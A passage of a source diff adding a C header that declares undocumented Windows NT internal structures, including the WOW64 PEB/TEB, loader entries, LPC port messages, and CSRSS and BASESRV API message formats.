added +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) +// 21.12.2011 - end + +// 32-bit definitions + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef + VOID + (*PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _TIB +{ + struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; + PVOID StackBase; + PVOID StackLimit; + PVOID SubSystemTib; + + union + { + PVOID FiberData; + ULONG Version; + }; + + PVOID ArbitraryUserPointer; + struct _TIB *Self; +} TIB; +typedef TIB *PTIB; + +// +// inifile mapping +// + +typedef struct _NLS_USER_INFO +{ + + /**/ /*|0xa0|*/ WCHAR iCountry[80]; + /**/ /*|0xa0|*/ WCHAR sCountry[80]; + /**/ /*|0xa0|*/ WCHAR sList[80]; + /**/ /*|0xa0|*/ WCHAR iMeasure[80]; + /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; + /**/ /*|0xa0|*/ WCHAR sDecimal[80]; + /**/ /*|0xa0|*/ WCHAR sThousand[80]; + /**/ /*|0xa0|*/ WCHAR sGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iDigits[80]; + /**/ /*|0xa0|*/ WCHAR iLZero[80]; + /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; + /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; + /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; + /**/ /*|0xa0|*/ WCHAR sCurrency[80]; + /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; + /**/ /*|0xa0|*/ WCHAR iCurrency[80]; + /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; + /**/ /*|0xa0|*/ WCHAR sPosSign[80]; + /**/ /*|0xa0|*/ WCHAR sNegSign[80]; + /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; + /**/ /*|0xa0|*/ WCHAR s1159[80]; + /**/ /*|0xa0|*/ WCHAR s2359[80]; + /**/ /*|0xa0|*/ WCHAR sShortDate[80]; + /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; + /**/ /*|0xa0|*/ WCHAR sLongDate[80]; + /**/ /*|0xa0|*/ WCHAR iCalType[80]; + /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; + /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; + /**/ /*|0xa0|*/ WCHAR sLocale[80]; + /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; + /**/ /*|0x4|*/ ULONG UserLocaleId; + /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; + /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; + /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; +} NLS_USER_INFO, *PNLS_USER_INFO; // + +typedef struct _INIFILE_MAPPING_TARGET +{ + struct _INIFILE_MAPPING_TARGET* Next; + struct _UNICODE_STRING RegistryPath; +} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; + +typedef struct _INIFILE_MAPPING_VARNAME +{ + struct _INIFILE_MAPPING_VARNAME* Next; + UNICODE_STRING Name; + ULONG MappingFlags; + struct _INIFILE_MAPPING_TARGET* MappingTarget; +} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; + +typedef struct _INIFILE_MAPPING_APPNAME +{ + struct _INIFILE_MAPPING_APPNAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_VARNAME* VariableNames; + struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; +} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; + +typedef struct _INIFILE_MAPPING_FILENAME +{ + struct _INIFILE_MAPPING_FILENAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_APPNAME* ApplicationNames; + struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; +} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; + +typedef struct _INIFILE_MAPPING +{ + struct _INIFILE_MAPPING_FILENAME* FileNames; + struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; + struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; + ULONG Reserved; +} INIFILE_MAPPING, *PINIFILE_MAPPING; + +#define PORT_CONNECT (0x0001) + +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + + ULONG Length; + + } u1; + + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + + union + { + LPC_CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + }; + + ULONG MessageId; + union + { + LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + }; + // UCHAR Data[]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + LPC_PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + + // + // csrss & csrsrv related + // + + typedef ULONG CSR_API_NUMBER; + +#define CSR_API_PORT_NAME L"ApiPort" + + // + // This structure is filled in by the client prior to connecting to the CSR + // server. The CSR server will fill in the OUT fields if prior to accepting + // the connection. + // + + typedef struct _CSR_API_CONNECTINFO { + HANDLE ObjectDirectory; + PVOID SharedSectionBase; + PVOID SharedStaticServerData; + PVOID SharedSectionHeap; + ULONG DebugFlags; + ULONG SizeOfPebData; + ULONG SizeOfTebData; + ULONG NumberOfServerDllNames; + HANDLE ServerProcessId; + } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; + + // + // Message format for messages sent from the client to the server + // + + typedef struct _CSR_CLIENTCONNECT_MSG + { + ULONG ServerDllIndex; + PVOID ConnectionInformation; + ULONG ConnectionInformationLength; + } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // + +#define CSR_NORMAL_PRIORITY_CLASS 0x00000010 +#define CSR_IDLE_PRIORITY_CLASS 0x00000020 +#define CSR_HIGH_PRIORITY_CLASS 0x00000040 +#define CSR_REALTIME_PRIORITY_CLASS 0x00000080 + + typedef struct _CSR_CAPTURE_HEADER { + ULONG Length; + PVOID RelatedCaptureBuffer; + ULONG CountMessagePointers; + PCHAR FreeSpace; + ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers + } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; + +#define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" + +#define CSRSRV_SERVERDLL_INDEX 0 +#define CSRSRV_FIRST_API_NUMBER 0 + +#define BASESRV_SERVERDLL_INDEX 1 +#define BASESRV_FIRST_API_NUMBER 0 + +#define CONSRV_SERVERDLL_INDEX 2 +#define CONSRV_FIRST_API_NUMBER 512 + +#define USERSRV_SERVERDLL_INDEX 3 +#define USERSRV_FIRST_API_NUMBER 1024 + +#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ + (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) + +#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ + ((ULONG)((ULONG)(ApiNumber) >> 16)) + +#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ + ((ULONG)((USHORT)(ApiNumber))) + +typedef struct _CSR_NT_SESSION +{ + struct _LIST_ENTRY SessionLink; + ULONG SessionId; + ULONG ReferenceCount; + STRING RootDirectory; +} CSR_NT_SESSION, *PCSR_NT_SESSION; + +typedef struct _CSR_API_MSG +{ + PORT_MESSAGE h; + union + { + CSR_API_CONNECTINFO ConnectionRequest; + struct + { + PCSR_CAPTURE_HEADER CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { + CSR_CLIENTCONNECT_MSG ClientConnect; + ULONG_PTR ApiMessageData[ 46 ]; + } u; + }; + }; +} CSR_API_MSG, *PCSR_API_MSG; + +typedef +ULONG (*PCSR_CALLBACK_ROUTINE)( + IN OUT PCSR_API_MSG ReplyMsg + ); + +typedef struct _CSR_CALLBACK_INFO +{ + ULONG ApiNumberBase; + ULONG MaxApiNumber; + PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; +} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; + +// end csrss + + +// +// Time Zone +// + +typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { + struct _RTL_TIME_ZONE_INFORMATION tzi; + WCHAR TimeZoneKeyName[ 128 ]; + UCHAR DynamicDaylightTimeDisabled; +} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // + +// +// basesrv api +// + +typedef struct _BASESRV_API_CONNECTINFO +{ + ULONG ExpectedVersion; + HANDLE DefaultObjectDirectory; + ULONG WindowsVersion; + ULONG CurrentVersion; + ULONG DebugFlags; + WCHAR WindowsDirectory[ MAX_PATH ]; + WCHAR WindowsSystemDirectory[ MAX_PATH ]; +} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; + +typedef enum _BASESRV_API_NUMBER { + BasepCreateProcess = BASESRV_FIRST_API_NUMBER, + BasepCreateThread, + BasepGetTempFile, + BasepExitProcess, + BasepDebugProcess, + BasepCheckVDM, + BasepUpdateVDMEntry, + BasepGetNextVDMCommand, + BasepExitVDM, + BasepIsFirstVDM, + BasepGetVDMExitCode, + BasepSetReenterCount, + BasepSetProcessShutdownParam, + BasepGetProcessShutdownParam, + BasepSetVDMCurDirs, + BasepGetVDMCurDirs, + BasepBatNotification, + BasepRegisterWowExec, + BasepSoundSentryNotification, + BasepRefreshIniFileMapping, + BasepDefineDosDevice, + BasepSetTermsrvAppInstallMode, + BasepSetTermsrvClientTimeZone, + BasepSxsCreateActivationContext, + BasepDebugProcessStop, + BasepRegisterThread, + BasepDeferredCreateProcess, + BasepNlsGetUserInfo, + BasepNlsSetUserInfo, + BasepNlsUpdateCacheCount, + BasepMaxApiNumber +} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; + +typedef struct _BASE_NLS_SET_USER_INFO_MSG +{ + ULONG LCType; + USHORT* pData; + ULONG DataLength; +} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; + +typedef struct _BASE_NLS_GET_USER_INFO_MSG +{ + struct _NLS_USER_INFO* pData; + ULONG DataLength; +} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; + +typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG +{ + ULONG Reserved; +} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; + +typedef struct _BASE_UPDATE_VDM_ENTRY_MSG +{ + ULONG iTask; + ULONG BinaryType; + PVOID ConsoleHandle; + PVOID VDMProcessHandle; + PVOID WaitObjectForParent; + USHORT EntryIndex; + USHORT VDMCreationState; +} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; + +typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG +{ + ULONG iTask; + PVOID ConsoleHandle; + PVOID WaitObjectForVDM; + PVOID StdIn; + PVOID StdOut; + PVOID StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + ULONG ExitCode; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + struct _STARTUPINFOA* StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CurrentDrive; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT VDMState; + UCHAR fComingFromBat; +} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; + +typedef struct _BASE_SHUTDOWNPARAM_MSG +{ + ULONG ShutdownLevel; + ULONG ShutdownFlags; +} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; + +typedef struct _BASE_GETTEMPFILE_MSG +{ + ULONG uUnique; +} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; + +typedef struct _BASE_DEBUGPROCESS_MSG +{ + ULONG dwProcessId; + CLIENT_ID DebuggerClientId; + PVOID AttachCompleteRoutine; +} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // + +typedef struct _BASE_CHECKVDM_MSG +{ + ULONG iTask; + HANDLE ConsoleHandle; + ULONG BinaryType; + HANDLE WaitObjectForParent; + HANDLE StdIn; + HANDLE StdOut; + HANDLE StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + LPSTARTUPINFOA StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT CurDrive; + USHORT VDMState; + struct _LUID* UserLuid; +} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; + +typedef struct _BASE_GET_VDM_EXIT_CODE_MSG +{ + PVOID ConsoleHandle; + PVOID hParent; + ULONG ExitCode; +} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // + +typedef struct _BASE_DEFERREDCREATEPROCESS_MSG +{ + struct _CLIENT_ID* ClientId; + ULONG NtUserFlags; +} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // + +typedef struct _BASE_EXITPROCESS_MSG { + NTSTATUS uExitCode; +} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // + +typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG +{ + PVOID ConsoleHandle; + PCHAR lpszzCurDirs; + ULONG cchCurDirs; +} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // + +typedef struct _BASE_SET_REENTER_COUNT +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // + +#if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) +typedef enum +{ + ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, + ACTCTX_RUN_LEVEL_AS_INVOKER, + ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, + ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, + ACTCTX_RUN_LEVEL_NUMBERS +} ACTCTX_REQUESTED_RUN_LEVEL; + +typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { + DWORD ulFlags; + ACTCTX_REQUESTED_RUN_LEVEL RunLevel; + DWORD UiAccess; +} ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + +typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + + +#endif + +typedef struct _BASE_SXS_CREATEPROCESS_MSG +{ + ULONG Flags; + ULONG ProcessParameterFlags; + union + { + UNICODE_STRING CultureFallbacks; + ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; + } u; +} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATEPROCESS_MSG +{ + PVOID ProcessHandle; + PVOID ThreadHandle; + CLIENT_ID ClientId; + ULONG CreationFlags; + ULONG VdmBinaryType; + ULONG VdmTask; + PVOID hVDM; + struct _BASE_SXS_CREATEPROCESS_MSG Sxs; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + USHORT ProcessorArchitecture; +} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATETHREAD_MSG +{ + PVOID ThreadHandle; + CLIENT_ID ClientId; +} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // + + +typedef struct _BASE_MSG_SXS_HANDLES +{ + PVOID File; + PVOID Process; + PVOID Section; + ULONGLONG ViewBase; +} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // + + +typedef struct _BASE_EXIT_VDM_MSG +{ + PVOID ConsoleHandle; + ULONG iWowTask; + PVOID WaitObjectForVDM; +} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // + + +typedef struct _BASE_IS_FIRST_VDM_MSG +{ + __int32 FirstVDM; +} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // + + +typedef struct _BASE_SET_REENTER_COUNT_MSG +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // + + +typedef struct _BASE_BAT_NOTIFICATION_MSG +{ + PVOID ConsoleHandle; + ULONG fBeginEnd; +} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // + + +typedef struct _BASE_REGISTER_WOWEXEC_MSG +{ + PVOID hEventWowExec; + PVOID ConsoleHandle; +} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // + + +typedef struct _BASE_REFRESHINIFILEMAPPING_MSG +{ + UNICODE_STRING IniFileName; +} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // + + +typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE +{ + struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; + ULONG ulDTZInfoSize; + KSYSTEM_TIME RealBias; + ULONG TimeZoneId; +} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // + +typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE +{ + __int32 bState; +} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; + + +typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG +{ + ULONG VideoMode; +} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // + + +typedef struct _BASE_DEFINEDOSDEVICE_MSG +{ + ULONG Flags; + UNICODE_STRING DeviceName; + UNICODE_STRING TargetPath; +} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // + +typedef struct _BASE_MSG_SXS_STREAM +{ + UCHAR FileType; + UCHAR PathType; + UCHAR HandleType; + UNICODE_STRING Path; + PVOID FileHandle; + HANDLE Handle; + unsigned __int64 Offset; + ULONG Size; +} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // + + +typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG +{ + ULONG Flags; + USHORT ProcessorArchitecture; + UNICODE_STRING CultureFallbacks; + struct _BASE_MSG_SXS_STREAM Manifest; + struct _BASE_MSG_SXS_STREAM Policy; + UNICODE_STRING AssemblyDirectory; + UNICODE_STRING TextualAssemblyIdentity; + unsigned __int64 FileTime; + ULONG ResourceName; + 